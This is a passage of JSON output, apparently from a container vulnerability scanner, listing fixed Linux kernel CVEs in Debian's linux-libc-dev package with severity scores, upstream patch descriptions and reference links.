"https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46117" ], "PublishedDate": "2026-05-28T10:16:27.203Z", "LastModifiedDate": "2026-10-19T20:18:32.43Z" }, { "VulnerabilityID": "CVE-2026-46121", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46121", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7bfd353082e959104780629e0568e180d1ec6e85f303da86090298620c4f5cc4", "Title": "kernel: mm/damon/sysfs-schemes: protect memcg_path kfree() with damon_sysfs_lock", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/damon/sysfs-schemes: protect memcg_path kfree() with damon_sysfs_lock\n\nPatch series \"mm/damon/sysfs-schemes: fix use-after-free for [memcg_]path\".\n\nReads of 'memcg_path' and 'path' files in DAMON sysfs interface could race\nwith their writes, results in use-after-free. Fix those.\n\n\nThis patch (of 2):\n\ndamon_sysfs_scheme_filter-\u003emmecg_path can be read and written by users,\nvia DAMON sysfs memcg_path file. It can also be indirectly read, for the\nparameters {on,off}line committing to DAMON. The reads for parameters\ncommitting are protected by damon_sysfs_lock to avoid the sysfs files\nbeing destroyed while any of the parameters are being read. But the\nuser-driven direct reads and writes are not protected by any lock, while\nthe write is deallocating the memcg_path-pointing buffer. As a result,\nthe readers could read the already freed buffer (user-after-free). Note\nthat the user-reads don't race when the same open file is used by the\nwriter, due to kernfs's open file locking. Nonetheless, doing the reads\nand writes with separate open files would be common. Fix it by protecting\nboth the user-direct reads and writes with damon_sysfs_lock.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46121", "https://git.kernel.org/linus/1e68eb96e8beb1abefd12dd22c5637795d8a877e%20%287.1-rc2%29", "https://git.kernel.org/stable/c/1e68eb96e8beb1abefd12dd22c5637795d8a877e", "https://git.kernel.org/stable/c/b1e9f2d5870776347edef927f9bb3ea19b8e3abb", "https://git.kernel.org/stable/c/baecc45ad60e621ef14d6c1e7f41ef36bbfdf910", "https://git.kernel.org/stable/c/c88802d0e8edd14b6cd2daf3000f99adbc4c85c5", "https://git.kernel.org/stable/c/eafd6f5372d29b0dd213799b92c2c9c7ad31d7da", "https://lore.kernel.org/linux-cve-announce/2026052815-CVE-2026-46121-1535@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46121", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46121" ], "PublishedDate": "2026-05-28T10:16:27.6Z", "LastModifiedDate": "2026-11-06T17:17:38.337Z" }, { "VulnerabilityID": "CVE-2026-46122", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46122", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3c305d2edb316d7866a10b110d51c964b3a78ff3ebc9ae3409c144cc2c8adb63", "Title": "kernel: wifi: b43: enforce bounds check on firmware key index in b43_rx()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: b43: enforce bounds check on firmware key index in b43_rx()\n\nThe firmware-controlled key index in b43_rx() can exceed the dev-\u003ekey[]\narray size (58 entries). The existing B43_WARN_ON is non-enforcing in\nproduction builds, allowing an out-of-bounds read.\n\nMake the B43_WARN_ON check enforcing by dropping the frame when the\nfirmware returns an invalid key index.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46122", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/1f4f78bf8549e6ac4f04fba4176854f3a6e0c332%20%287.1-rc3%29", "https://git.kernel.org/stable/c/135cb49c9a42a02cceeac7b49ec03e267f7ed6d6", "https://git.kernel.org/stable/c/1e9e55cf66f0fa4799f4d86ef3aaba8e606b5c14", "https://git.kernel.org/stable/c/1f4f78bf8549e6ac4f04fba4176854f3a6e0c332", "https://git.kernel.org/stable/c/219ba67e69e49681e48c822d6eaafb5def032f34", "https://git.kernel.org/stable/c/3157ad40b084a8f3932da2641749ab45e99b933e", "https://git.kernel.org/stable/c/765709720e6af9a178abc40244a8d1aa39ac4e71", "https://git.kernel.org/stable/c/c3d7b90dc95020cd9282c4630e402fe224f7644e", "https://git.kernel.org/stable/c/d7029879bafdac2006c67553807d122283dc6cbf", "https://linux.oracle.com/cve/CVE-2026-46122.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026052815-CVE-2026-46122-04ad@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46122", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46122" ], "PublishedDate": "2026-05-28T10:16:27.713Z", "LastModifiedDate": "2026-10-15T02:19:44.75Z" }, { "VulnerabilityID": "CVE-2026-46130", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46130", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:620e23e2852682ba8f4eeda859d46439fab3c6329ba90ae0aaaf64cf9a4fdd93", "Title": "kernel: dm-verity-fec: fix reading parity bytes split across blocks (take 3)", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm-verity-fec: fix reading parity bytes split across blocks (take 3)\n\nfec_decode_bufs() assumes that the parity bytes of the first RS codeword\nit decodes are never split across parity blocks.\n\nThis assumption is false. Consider v-\u003efec-\u003eblock_size == 4096 \u0026\u0026\nv-\u003efec-\u003eroots == 17 \u0026\u0026 fio-\u003enbufs == 1, for example. In that case, each\ncall to fec_decode_bufs() consumes v-\u003efec-\u003eroots * (fio-\u003enbufs \u003c\u003c\nDM_VERITY_FEC_BUF_RS_BITS) = 272 parity bytes.\n\nConsidering that the parity data for each message block starts on a\nblock boundary, the byte alignment in the parity data will iterate\nthrough 272*i mod 4096 until the 3 parity blocks have been consumed. On\nthe 16th call (i=15), the alignment will be 4080 bytes into the first\nblock. Only 16 bytes remain in that block, but 17 parity bytes will be\nneeded. The code reads out-of-bounds from the parity block buffer.\n\nFortunately this doesn't normally happen, since it can occur only for\ncertain non-default values of fec_roots *and* when the maximum number of\nbuffers couldn't be allocated due to low memory. For example with\nblock_size=4096 only the following cases are affected:\n\n fec_roots=17: nbufs in [1, 3, 5, 15]\n fec_roots=19: nbufs in [1, 229]\n fec_roots=21: nbufs in [1, 3, 5, 13, 15, 39, 65, 195]\n fec_roots=23: nbufs in [1, 89]\n\nRegardless, fix it by refactoring how the parity blocks are read.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46130", "https://git.kernel.org/linus/430a05cb926f6bdf53e81460a2c3a553257f3f61%20%287.1-rc1%29", "https://git.kernel.org/stable/c/03348b440f69417dc3a3c71d8271cff6b05f67fb", "https://git.kernel.org/stable/c/3d1b4e2d8ac0a1a1390a117f61ce0ca1c47e3bcb", "https://git.kernel.org/stable/c/430a05cb926f6bdf53e81460a2c3a553257f3f61", "https://git.kernel.org/stable/c/d47281b9a4472cfd73122393e79fbe76b651e46a", "https://git.kernel.org/stable/c/dac69d1b76049d7e5f565089a6a7f4502a85b9de", "https://kernelcve.org/list/?q=CVE-2026-46130", "https://lore.kernel.org/linux-cve-announce/2026052817-CVE-2026-46130-895e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46130", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-46130" ], "PublishedDate": "2026-05-28T10:16:28.57Z", "LastModifiedDate": "2026-11-06T17:17:39.003Z" }, { "VulnerabilityID": "CVE-2026-46136", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46136", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:36f6da2dbf6f8f6e92c0a1c2e02d12679c81e8ae85f525b9e3c67a03d935df9f", "Title": "kernel: wifi: mt76: mt7921: fix a potential clc buffer length underflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7921: fix a potential clc buffer length underflow\n\nThe buf_len is used to limit the iterations for retrieving the country\npower setting and may underflow under certain conditions due to changes\nin the power table in CLC.\n\nThis underflow leads to an almost infinite loop or an invalid power\nsetting resulting in driver initialization failure.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46136", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/5373f8b19e568b5c217832b9bbef165bd2b2df14%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0aa63d33742b805d1a218d18d12b983cce4b2f7b", "https://git.kernel.org/stable/c/2a79b1a492bcfa725383b6580cd93a6862308c85", "https://git.kernel.org/stable/c/5373f8b19e568b5c217832b9bbef165bd2b2df14", "https://git.kernel.org/stable/c/90cc573fd2f46ddbc2c329e7814b5ba3deb7b939", "https://git.kernel.org/stable/c/a0111847f0b4f6023f6dd320114697514e024ba3", "https://git.kernel.org/stable/c/e451c325b000b9a0081fd93bc6d103d6943d4b55", "https://lore.kernel.org/linux-cve-announce/2026052818-CVE-2026-46136-ae9a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46136", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46136" ], "PublishedDate": "2026-05-28T10:16:29.16Z", "LastModifiedDate": "2026-11-06T17:17:39.563Z" }, { "VulnerabilityID": "CVE-2026-46140", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46140", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:33d4a0ebd33552b9c90e95884b8de2ffcb21af91f2f41e2d0317bf353b639538", "Title": "kernel: Bluetooth: btmtk: validate WMT event SKB length before struct access", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btmtk: validate WMT event SKB length before struct access\n\nbtmtk_usb_hci_wmt_sync() casts the WMT event response SKB data to\nstruct btmtk_hci_wmt_evt (7 bytes) and struct btmtk_hci_wmt_evt_funcc\n(9 bytes) without first checking that the SKB contains enough data.\nA short firmware response causes out-of-bounds reads from SKB tailroom.\n\nUse skb_pull_data() to validate and advance past the base WMT event\nheader. For the FUNC_CTRL case, pull the additional status field bytes\nbefore accessing them.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46140", "https://git.kernel.org/linus/634a4408c0615c523cf7531790f4f14a422b9206%20%287.1-rc3%29", "https://git.kernel.org/stable/c/36c85f7029484d5ede769f8873d16e9c8e35533c", "https://git.kernel.org/stable/c/624fb79dadc1b65757986a9d0fdde5c0cf3fe179", "https://git.kernel.org/stable/c/634a4408c0615c523cf7531790f4f14a422b9206", "https://git.kernel.org/stable/c/70d37a8b9229e394cc17ddad47e90b81d80fcd09", "https://git.kernel.org/stable/c/c411cf1bfde951cfa821809cf4020ba177f76e0c", "https://lore.kernel.org/linux-cve-announce/2026052819-CVE-2026-46140-7ba4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46140", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-46140" ], "PublishedDate": "2026-05-28T10:16:29.58Z", "LastModifiedDate": "2026-11-06T17:17:40.023Z" }, { "VulnerabilityID": "CVE-2026-46145", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46145", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4a5324893aaaf9fc003efa2a7ca51ccfcc80c7085e9f26ed1391e57779d2793e", "Title": "kernel: RDMA/mana: Validate rx_hash_key_len", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mana: Validate rx_hash_key_len\n\nSashiko points out that rx_hash_key_len comes from a uAPI structure and is\nblindly passed to memcpy, allowing the userspace to trash kernel\nmemory. Bounds check it so the memcpy cannot overflow.", "Severity": "HIGH", "CweIDs": [ "CWE-120", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27353", "https://access.redhat.com/errata/RHSA-2026:27354", "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/errata/RHSA-2026:30129", "https://access.redhat.com/errata/RHSA-2026:62568", "https://access.redhat.com/errata/RHSA-2026:64767", "https://access.redhat.com/errata/RHSA-2026:65712", "https://access.redhat.com/security/cve/CVE-2026-46145", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/linus/6dd2d4ad9c8429523b1c220c5132bd551c006425%20%287.1-rc3%29", "https://git.kernel.org/stable/c/012796f9541fcd0c1fa8ae4da7eb4d83931ef838", "https://git.kernel.org/stable/c/11c1431d641e0e4e0529e96957995820600c7287", "https://git.kernel.org/stable/c/6dd2d4ad9c8429523b1c220c5132bd551c006425", "https://git.kernel.org/stable/c/7d7c9f0fcd19c4d2f0164347c58d49cafa961b72", "https://git.kernel.org/stable/c/7d94f155f354b961c598f71bafa804dceded513f", "https://linux.oracle.com/cve/CVE-2026-46145.html", "https://linux.oracle.com/errata/ELSA-2026-30129.html", "https://lore.kernel.org/linux-cve-announce/2026052821-CVE-2026-46145-e347@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46145", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46145.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46145" ], "PublishedDate": "2026-05-28T10:16:30.11Z", "LastModifiedDate": "2026-10-19T20:18:34.82Z" }, { "VulnerabilityID": "CVE-2026-46152", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46152", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": 